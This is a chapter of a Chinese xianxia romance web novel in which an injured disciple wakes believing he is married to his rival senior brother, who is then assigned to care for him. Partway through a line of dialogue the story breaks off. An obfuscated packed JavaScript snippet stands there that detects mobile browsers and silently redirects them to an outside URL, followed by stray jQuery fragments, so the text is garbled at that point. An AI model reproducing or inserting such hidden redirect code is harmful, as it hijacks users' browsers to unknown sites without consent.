几位长老见他服下丹药,仍未清醒,只得重新商量对策。
慈心长老痛心疾首:“静虚道友,当务之急是稳定他的神魂,辅以清心丹药,祛除妄念……”
赤霞长老连连点头:“不错,我这便回去开炉,再炼几味更强的定神丹!”
“不。”静虚子打断两位同僚的医治方案,干涩道,“在用药施针之前……我要先问问何断秋。”
白良找了一圈,没在院子里找着何断秋,正要费一枚传音符,便见何断秋御剑飞来。
“大师兄,你哪儿去了,师父急着找你!”
白良几乎是拖着何断秋御剑飞去,速度快得在灵真峰上空拉出一道尖啸的白痕。何断秋被拽得衣衫微乱,额发散下几缕,眉宇间带着几分焦灼。
“师父,您急召……”何断秋话未说完,一脚踏入屋内,便被眼前景象震住了。
满屋子人,回春峰、赤峰的长老弟子济济一堂,所有人的目光齐刷刷钉在他身上,眼神复杂难言。
而再仔细看去,人群中央围着的那张床上,江欲雪半倚半靠,脸色发白,却睁着一双澄澈透亮的眼,一眨不眨地望着他。
那眼神……
何断秋心头一跳,他倏然觉出些许陌生。
“断秋,你过来。”静虚子道。
何断秋压下心头疑虑,依言上前,顺带对着慈心、赤霞二位长老简单行了礼。
他问:“师弟这是刚醒?可还有哪里不适?”
只见床上那人歪了歪头,唇瓣轻轻开合,吐出的是不是冷嘲热讽,而是一句软绵绵的话:“师兄,我好想你。”
江欲雪专心地看着他,眸中水光潋滟,语气是前所未有的依恋,似是伴侣之间温柔小意的撒娇,偏生还带着点江欲雪独有的矜持。
何断秋如遭雷击,整个人僵在原地。
想他?江欲雪说……想他??
他一时怀疑自己的耳朵,他是不是漏听了一个字?江欲雪说的是想杀他,而不是想他。
对,就是如此,江欲雪上次拿剑指着他的脸时,也是用这般态度同自己讲话的。
但这里有这么多长老弟子在,江欲雪就算真想报擂台上的仇,也不会奈他如何。
何断秋放下心来,说了句人话:“师弟,你安心休息,等病好了,我们再继续切磋。”
江欲雪点了点头,又道:“师兄,我想喝口水。”
何断秋便去给他倒了杯水,递过去。江欲雪竟没猜疑,乖乖喝了个干净。
就在何断秋心中感慨师弟为何变得如此文静之际,忽注意到周遭的氛围不太对劲。
他仅仅是递了杯水,为什么屋内的这些人看他的目光都带着人赃并获的意味?天地良心,他这次真没在水里加东西啊!
他急于自证清白,揽住师弟的肩膀问道:“这水你喝着怎么样?”
江欲雪捧着空杯,抬眸瞧他一眼,敛眸怀念道:“没什么味道。不如我们成亲那晚,喝的交杯酒甜。”
“哐当!”赤霞长老手里新拿出的一个玉质药杵,掉在了地上。
何断秋像是没听懂,愣愣地想,什么成亲?什么交杯酒?谁和谁成亲?他和江欲雪?
这是江欲雪新想出来的报复方式吗?疯了吗他??这一屋子峰主长老都在呢!
一旁执着于给他俩牵线搭桥的顾岚按捺不住,插嘴道:“何师兄!你莫要辜负了江师兄啊!他那么爱你!”
“他……爱我?”何断秋满脸茫然。那前几日恨不得将他挫骨扬灰的人是谁?那拿着枕头在床上差点捂死他的人是谁?
难道这些都是他臆想出来的?
他是不是真的在某个不为人知的时候,丢了一段自己全然不知的记忆?
何断秋看向江欲雪,颤抖着声音问道:“原来我和你成亲了吗?”
“对,你不记得了?”江欲雪蹙眉,“旁人就罢了,你怎么脑子也坏了?还要我带你去看看大夫。”
何断秋立马看向一旁站着的慈心长老:“大夫,我……”
慈心长老眉心直跳,一张老脸涨得通红,也不知是气的还是臊的。他指着床上的江欲雪,恨声道:“你没失忆!是他!是他脑子被伤糊涂了,神魂混沌!醒来后便胡言乱语,非说自己早已成婚,有个夫君……”
他顿了顿,那句“就是你”在舌尖滚了又滚,终究觉得说出来太过惊世骇俗、有辱斯文,只能咬牙切齿地续道:“……早已和你……喜、喜结连理!”
最后四个字,慈心长老是闭着眼从牙缝里挤出来的,说完便猛地一甩袖子,仿佛要挥去这满屋子的荒唐与晦气。
何断秋喃喃道:“所以他和我成婚了?”
“不是他和你成婚了!是他误以为你们两个成婚了!”慈心长老愤怒道。
“我、我当然知晓。”何断秋心乱如麻,原来是江欲雪脑子坏了,可为什么偏偏是这种癔症?为什么偏偏将他认作夫君?为什么连交杯酒的细节都记得如此清楚?
他转过头,再次看向他师弟。
床上的人听了慈心长老的话,脸上充斥着倔强的固执,还掺了一丝委屈,绷着冰块小脸道:“师兄,我没糊涂。我记得很清楚,红烛、喜服、合卺酒……还有你跪在师父面前,说生生世世,永不分离。”
何断秋呆呆立在原地。
他是在梦里么?那个平日里对他横眉冷对、一言不合便要拔剑相向、恨不得在他身上戳出七八个窟窿的江欲雪,怎么会对他如此温柔?
静虚子看着何断秋这副失魂落魄、哑口无言的模样,只觉得眼前阵阵发黑。
孽障!都是孽障!
一个胡言乱语,一个……一个这副模样,又算是怎么回事?!
他忍无可忍:“欲雪,住口!断秋,他这些荒诞记忆,究竟从何而来?你到底有没有……”
何断秋最见不得自己被污蔑,忙道:“师父!弟子可以对天发誓,弟子从未与师弟有过任何逾越礼法违背伦常之事,更遑论成亲!”
屋内安静。
听他这么澄清,静虚子更是忧虑。
他闭了闭眼,强压下思绪,转而对慈心与赤霞二位长老拱手道:“二位道友,今日之事,确系我灵真峰弟子伤病所致,生出种种荒谬之言,扰了二位清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154912|196539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静,更让诸位见笑了。”
慈心长老忙还礼,叹道:“静虚道友言重了。医者本分,只是此症实在蹊跷,非寻常药石可医,怕是需从长计议,徐徐图之。”
赤霞长老也点头:“不错,此症根子或许不在新伤,而在旧患,未查明前用药施针,恐适得其反。”
“二位所言极是。”静虚子颔首,目光扫过屋内一众弟子,“今日之事,关乎我徒清誉,还望诸位谨言慎行,莫要外传,以免以讹传讹。”
众人连忙躬身应是,谁也不敢多言。
“白良,你代为师,好生送二位长老及诸位同门出去。取我私库中那两盒千年暖玉,赠予慈心、赤霞二位长老,聊表谢意。”
“是,师父。”白良立刻应下,引着众人向外走去。慈心与赤霞长老又叮嘱了几句静养观察、随时通传的话,便也摇头叹息着离开了。
顾岚一步三回头,眼里满是亢奋不舍,却被她师姐牢牢拉着,低声训斥不断。
很快,屋内只剩下静虚子,以及江欲雪和何断秋三人。
“断秋。”静虚子踱步到窗边,“你师弟此番癔症,根源不明,但显然与你牵扯极深。他如今只认你,依赖你,无论缘由为何,解铃还须系铃人。”
何断秋心头一紧:“师父的意思是……”
“从今日起,由你留下照料欲雪。直至他神智清明,记忆恢复如常为止。”
“什么?!”何断秋脱口而出,“师父,这不妥!我、弟子与师弟向来不睦,只怕……”
静虚子道:“正因为不睦,才更要你留下。他此刻记忆混乱,将你视为最亲近之人。换他人照料只会加重他的不安,于病情无益。你须在他身边慢慢引导,让他认清现实。”
何断秋无言以对,静虚子不再多言,临走前又看了一眼眼珠子挂何断秋身上的江欲雪,眼中掠过一丝痛惜。
这下,还不如以前那个追着何断秋杀的江欲雪。
“你好生照料他。所需药物、饭食,自会有人按时送来。有事随时通传。”
说完,他不再停留,转身离开房间,并将房门带上。
日落西山,室内昏黄。何断秋少有的沉默。
江欲雪假装小声咳嗽了几声,放柔声音,细细道:“师兄,他们都走了。你过来陪陪我,好不好?”
刚刚是谁在说话?何断秋无比惊悚,深吸好几口气,缓缓转过身,看向江欲雪。
昏黄的光线下,江欲雪倚在床头,黑发披散,容貌昳丽,一双柳眉似蹙非蹙,黑眸含冰带雪,仍是过去那般模样。
何断秋的心脏莫名一缩,也顾不上惊悚了,走到他身边,问:“师弟,你伤口还疼吗?”
江欲雪摇了摇头,目光依旧黏在他的身上,拍了拍自己身边的床沿:“不疼,你坐这里。”
何断秋何曾受过这般温柔的待遇,只当他是忘了比武擂台上自己害他受的伤,迟疑着依言坐下,半边腚堪堪挨着边。
便听他道:“相公,你还记得那日我们的赌约吗?”
何断秋先是被前两个字吓了一跳,而后的“赌约”二字又直击他天灵盖。